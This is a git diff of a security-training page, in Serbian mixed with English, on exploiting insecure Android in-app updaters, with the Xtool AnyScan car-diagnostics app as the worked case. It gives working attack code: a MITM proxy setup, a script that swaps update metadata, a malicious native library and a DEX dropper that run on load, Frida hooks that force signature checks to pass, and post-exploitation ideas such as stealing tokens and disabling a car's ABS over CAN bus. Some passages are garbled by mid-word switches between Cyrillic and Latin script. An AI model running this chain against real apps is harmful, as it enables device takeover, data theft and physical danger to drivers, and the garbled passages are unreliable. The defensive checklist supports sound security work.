diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md index 3d8fe7c82..d36cfa35f 100644 --- a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -2,15 +2,48 @@ {{#include ../../banners/hacktricks-training.md}} -Mnoge Android aplikacije implementiraju **svoje “plugin” ili “dinamičke funkcije” kanale za ažuriranje** umesto korišćenja Google Play prodavnice. Kada je implementacija nesigurna, napadač sposoban da presretne saobraćaj može da obezbedi **arbitrarni nativni kod koji će biti učitan unutar procesa aplikacije**, što dovodi do potpune Remote Code Execution (RCE) na uređaju – i u nekim slučajevima na bilo kom spoljnjem uređaju koji kontroliše aplikacija (automobili, IoT, medicinski uređaji …). +Mnoge Android aplikacije implementiraju sopstvene “plugin” ili “dynamic feature” update kanale umesto da koriste Google Play Store. Kada je implementacija nesigurna, napadač koji može da presretne ili izmeni update saobraćaj može da isporuči proizvoljan native ili Dalvik/ART kod koji će biti učitan unutar procesa aplikacije, što dovodi do potpunog Remote Code Execution (RCE) na handsetu — i u nekim slučajevima i na bilo kojem eksternom uređaju kojim aplikacija upravlja (automobili, IoT, medicinski uređaji …). -Ova stranica sumira lanac ranjivosti iz stvarnog sveta pronađen u Xtool **AnyScan** aplikaciji za dijagnostiku automobila (v4.40.11 → 4.40.40) i generalizuje tehniku kako biste mogli da auditujete druge Android aplikacije i iskoristite pogrešnu konfiguraciju tokom red-team angažovanja. +Ova stranica sažima realan lanac ranjivosti pronađen u Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) i generalizuje tehniku tako da možete da audit druge Android aplikacije i weaponise pogrešnu konfiguraciju tokom red-team angažmana. --- -## 1. Identifying an Insecure TLS TrustManager +## 0. Quick triage: does the app have an in‑app updater? -1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…). -2. Look for a **custom `TrustManager`** or `HostnameVerifier` that blindly trusts every certificate: +Statički indikatori za traženje u JADX/apktool: +- Stringovi: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip". +- Mrežni endpointi poput `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`. +- Crypto helperi blizu update putanja (DES/AES/RC4; Base64; JSON/XML packs). +- Dinamički loaderi: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`. +- Unzip putanje koje zapisuju pod app-internal ili external storage, pa zatim odmah učitavaju `.so`/DEX. + +Runtime hooks to confirm: +```js +// Frida: log native and dex loading +Java.perform(() => { +const Runtime = Java.use('java.lang.Runtime'); +const SystemJ = Java.use('java.lang.System'); +const DexClassLoader = Java.use('dalvik.system.DexClassLoader'); + +SystemJ.load.overload('java.lang.String').implementation = function(p) { +console.log('[System.load] ' + p); return this.load(p); +}; +SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) { +console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n); +}; +Runtime.load.overload('java.lang.String').implementation = function(p){ +console.log('[Runtime.load] ' + p); return this.load(p); +}; +DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) { +console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`); +return this.$init(dexPath, optDir, libPath, parent); +}; +}); +``` +--- +## 1. Identifikacija nesigurnog TLS TrustManager-a + +1. Dekompajlirajte APK pomoću jadx / apktool i pronađite mrežni stack (OkHttp, HttpUrlConnection, Retrofit…). +2. Potražite prilagođeni `TrustManager` ili `HostnameVerifier` koji bezpogovorno veruje svakom sertifikatu: ```java public static TrustManager[] buildTrustManagers() { return new TrustManager[]{ @@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} }; } ``` -3. Ako je prisutan, aplikacija će prihvatiti **bilo koji TLS sertifikat** → možete pokrenuti transparentni **MITM proxy** sa sertifikatom koji ste sami potpisali: +3. Ako je prisutno, aplikacija će prihvatiti bilo koji TLS certificate → možete pokrenuti transparentni MITM proxy sa self-signed cert: ```bash mitmproxy -p 8080 -s addon.py # see §4 iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator ``` -## 2. Obrnuto inženjerstvo metapodataka ažuriranja +Ako je TLS pinning primenjen umesto unsafe trust-all logic, pogledajte: -U slučaju AnyScan, svaki pokretanje aplikacije pokreće HTTPS GET na: +{{#ref}} +android-anti-instrumentation-and-ssl-pinning-bypass.md +{{#endref}} + +{{#ref}} +make-apk-accept-ca-certificate.md +{{#endref}} + +--- +## 2. Reverse-Engineering Update metapodataka + +U slučaju AnyScan, svako pokretanje aplikacije pokreće HTTPS GET ka: ``` https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx ``` -Odgovor telo je **XML dokument** čiji `` čvorovi sadrže **Base64-enkodiran, DES-ECB enkriptovan** JSON koji opisuje svaki dostupni plugin. +Telo odgovora je XML dokument čiji `` чворови сadrže Base64-encoded, DES-ECB encrypted JSON који описuje svaki dostupan plugin. -Tipični koraci u potrazi: -1. Pronađite kripto rutinu (npr. `RemoteServiceProxy`) i povratite: -* algoritam (DES / AES / RC4 …) -* način rada (ECB / CBC / GCM …) -* hard-kodirani ključ / IV (često 56-bitni DES ključevi ili 128-bitni AES ključevi u konstantama) -2. Ponovno implementirajte funkciju u Python-u za dekriptovanje / enkriptovanje metapodataka: +Tipični koraci: +1. Pronađite crypto routine (npr. `RemoteServiceProxy`) i otkrijte: +- algoritam (DES / AES / RC4 …) +- način rada (ECB / CBC / GCM …) +- hard-coded ključ / IV (obično 56‑bit DES или 128‑bit AES konstante) +2. Ponovo implementirajte funkciju u Pythonu da dešifrujete / šifrujete metapodatke: ```python from Crypto.Cipher import DES from base64 import b64decode, b64encode @@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str: cipher = DES.new(KEY, DES.MODE_ECB) return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() ``` -## 3. Napravite Zloćudni Plugin +Notes seen in the wild (2023–2025): +- Metadata je često JSON-within-XML ili protobuf; weak ciphers i static keys su uobičajeni. +- Mnogi updaters prihvataju plain HTTP za stvarni payload download čak i ako metadata dolazi preko HTTPS. +- Plugins često unzipuju u app-internal storage; neki i dalje koriste external storage ili legacy `requestLegacyExternalStorage`, što omogućava cross-app tampering. -1. Izaberite bilo koji legitimni plugin ZIP i zamenite nativnu biblioteku sa vašim payload-om: +--- +## 3. Craft a Malicious Plugin + +### 3.1 Native library path (dlopen/System.load[Library]) + +1. Odaberite bilo koji legitimni plugin ZIP i zamenite native library vašim payload-om: ```c // libscan_x64.so – constructor runs as soon as the library is loaded __attribute__((constructor)) @@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid( $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt ``` -2. Ažurirajte JSON metapodatke tako da `"FileName" : "PWNED.zip"` i `"DownloadURL"` upućuje na vaš HTTP server. -3. DES-enkripcija + Base64-enkodiranje izmenjenog JSON-a i kopiranje nazad unutar presretnutog XML-a. +2. Ažurirajte JSON metapodatke tako da `"FileName" : "PWNED.zip"` i `"DownloadURL"` upućuju na vaš HTTP server. +3. Ponovo šifrujte + Base64‑kodirajte izmenjeni JSON i kopirajte ga nazad u presretnuti XML. -## 4. Isporuka Payload-a sa mitmproxy +### 3.2 Dex-based putanja plugina (DexClassLoader) -`addon.py` primer koji *tiho* menja originalne metapodatke: +Neke aplikacije preuzimaju JAR/APK i učitavaju kod preko `DexClassLoader`. Napravite maliciozni DEX koji se aktivira pri učitavanju: +```java +// src/pwn/Dropper.java +package pwn; +public class Dropper { +static { // runs on class load +try { +Runtime.getRuntime().exec("sh -c 'id > /data/data//files/pwned' "); +} catch (Throwable t) {} +} +} +``` + +```bash +# Compile and package to a DEX jar +javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java +jar cf dropper.jar -C out/ . +d8 --output outdex/ dropper.jar +cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this +``` +Ako cilj pozove `Class.forName("pwn.Dropper")` vaš statički inicijalizator se izvršava; u suprotnom, reflektivno izlistajte učitane klase pomoću Frida i pozovite izvezeni metod. + +--- +## 4. Isporuka Payload-a pomoću mitmproxy + +`addon.py` primer koji neprimetno zamenjuje originalne metapodatke: ```python from mitmproxy import http MOD_XML = open("fake_metadata.xml", "rb").read() @@ -89,36 +166,69 @@ MOD_XML, {"Content-Type": "text/xml"} ) ``` -Pokrenite jednostavan veb server za hostovanje malicioznog ZIP-a: +Pokrenite jednostavan web server da hostujete zlonamerni ZIP/JAR: ```bash python3 -m http.server 8000 --directory ./payloads ``` -Kada žrtva pokrene aplikaciju, ona će: -* preuzeti naš lažirani XML preko MITM kanala; -* dekriptovati i analizirati ga sa hard-kodiranim DES ključem; -* preuzeti `PWNED.zip` → raspakovati unutar privatne memorije; -* `dlopen()` uključeni *libscan_x64.so*, odmah izvršavajući naš kod **sa dozvolama aplikacije** (kamera, GPS, Bluetooth, sistem datoteka, …). +Kada žrtva pokrene aplikaciju она će: +- preuzeti наш falsifikovani XML preko MITM канала; +- dešifrovati i parsirati га користећи hard-coded crypto; +- preuzeti `PWNED.zip` или `plugin.jar` → распаковати у приватно складиште; +- učitati uključeni `.so` или DEX, odmah izvršavajući наш код са permisijama aplikacije (camera, GPS, Bluetooth, filesystem, …). -Pošto je dodatak keširan na disku, backdoor **ostaje aktivan nakon ponovnog pokretanja** i pokreće se svaki put kada korisnik odabere povezanu funkciju. - -## 5. Ideje za post-eksploataciju - -* Ukrao sesijske kolačiće, OAuth tokene ili JWT-ove koje aplikacija čuva. -* Postaviti APK druge faze i tiho ga instalirati putem `pm install` (aplikacija već ima `REQUEST_INSTALL_PACKAGES`). -* Zloupotrebljavati bilo koji povezani hardver – u AnyScan scenariju možete slati proizvoljne **OBD-II / CAN bus komande** (otključavanje vrata, onemogućavanje ABS-a, itd.). +Pošto је plugin keširan на диску backdoor opstaje после ponovnog pokretanja и pokreće се svaki пут кад korisnik изабере одговарајућу функцију. --- -### Lista za detekciju i ublažavanje (plavi tim) +## 4.1 Zaobilaženje provera potpisa/hash-a (kada su prisutne) -* NIKADA ne šaljite produkcijsku verziju sa prilagođenim TrustManager/HostnameVerifier koji onemogućava validaciju sertifikata. -* Ne preuzimajte izvršni kod sa spolja van Google Play-a. Ako *morate*, potpišite svaki dodatak istim **apkSigning v2** ključem i proverite potpis pre učitavanja. -* Zamenite slabu/hard-kodiranu kriptografiju sa **AES-GCM** i rotirajućim ključem na serverskoj strani. -* Validirajte integritet preuzetih arhiva (potpis ili barem SHA-256). +Ako updater validira potpise ili hash-eve, hook-ujte verifikaciju tako da uvek prihvata sadržaj napadača: +```js +// Frida – make java.security.Signature.verify() return true +Java.perform(() => { +const Sig = Java.use('java.security.Signature'); +Sig.verify.overload('[B').implementation = function(a) { return true; }; +}); + +// Less surgical (use only if needed): defeat Arrays.equals() for byte[] +Java.perform(() => { +const Arrays = Java.use('java.util.Arrays'); +Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; }; +}); +``` +Takođe razmotrite stubbing vendor metoda kao što su `PluginVerifier.verifySignature()`, `checkHash()`, or short‑circuiting update gating logic in Java or JNI. --- -## Reference +## 5. Ostale površine napada u mehanizmima za ažuriranje (2023–2025) + +- Zip Slip path traversal pri ekstrakciji pluginova: zlonamerne stavke kao `../../../../data/data//files/target` mogu prepisati proizvoljne fajlove. Uvek sanitizujte putanje stavki i koristite allow‑liste. +- Spoljno skladištenje za staging: ako aplikacija upisuje arhivu na external storage pre učitavanja, bilo koja druga aplikacija može da je manipuliše. Scoped Storage ili interno skladište aplikacije to izbegavaju. +- Cleartext downloads: metadata preko HTTPS ali payload preko HTTP → jednostavna MITM zamena. +- Nepotpune provere potpisa: poređenje samo jednog hash‑a fajla, a ne cele arhive; nepripajanje potpisa developer ključu; prihvatanje bilo kog RSA ključa prisutnog u arhivi. +- React Native / Web‑based OTA sadržaj: ako native bridge‑ovi izvršavaju JS iz OTA bez stroge potpisne verifikacije, moguće je izvršenje proizvoljnog koda u kontekstu aplikacije (npr. insecure CodePush‑like tokovi). Obavezno odvojeno potpisivanje update‑ova i stroga verifikacija. + +--- +## 6. Ideje za post‑eksploataciju + +- Ukradite session cookies, OAuth tokene, ili JWT‑ove koje aplikacija čuva. +- Spustite second‑stage APK i tiho ga instalirajte preko `pm install` ako je moguće (neke aplikacije već deklarišu `REQUEST_INSTALL_PACKAGES`). +- Zlorabite povezani hardware – u AnyScan scenariju možete poslati proizvoljne OBD‑II / CAN bus komande (otključavanje vrata, onemogućavanje ABS‑a, itd.). + +--- +### Kontrolna lista za detekciju i mitigaciju (blue team) + +- Izbegavajte dynamic code loading i out‑of‑store updates. Prefer Play‑mediated updates. Ako su dynamic plugins neophodni, dizajnirajte ih kao samo‑podatkovne bundle‑ove i držite izvršni kod u base APK‑u. +- Primorajte ispravan TLS: bez custom trust‑all managera; primenite pinning gde je moguće i hardened network security config koji zabranjuje cleartext saobraćaj. +- Ne preuzimajte izvršni kod van Google Play. Ako morate, koristite detached update signing (npr. Ed25519/RSA) sa ključem koji drži developer i verifikujte pre učitavanja. Bindujte metadata i payload (dužina, hash, verzija) i u slučaju neuspeha fail closed. +- Koristite modernu kriptografiju (AES‑GCM) sa per‑message nonces za metadata; uklonite hard‑kodirane ključeve iz klijenata. +- Potvrdite integritet preuzetih arhiva: verifikujte potpis koji pokriva svaki fajl, ili barem verifikujte manifest SHA‑256 hash‑eva. Odbacite dodatne/neosnovane fajlove. +- Čuvajte preuzimanja u app‑internal storage (ili scoped storage na Android 10+) i koristite dozvole fajlova koje sprečavaju cross‑app manipulaciju. +- Branite se od Zip Slip: normalizujte i validirajte zip entry putanje pre ekstrakcije; odbacite apsolutne putanje ili `..` segmente. +- Razmotrite Play “Code Transparency” da omogućite vama i korisnicima da verifikuju da li DEX/native kod koji je isporučen odgovara onome što ste izgradili (dopuna, ali ne zamena APK signing‑a). + +--- +## References - [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) -- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) +- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading) {{#include ../../banners/hacktricks-training.md}}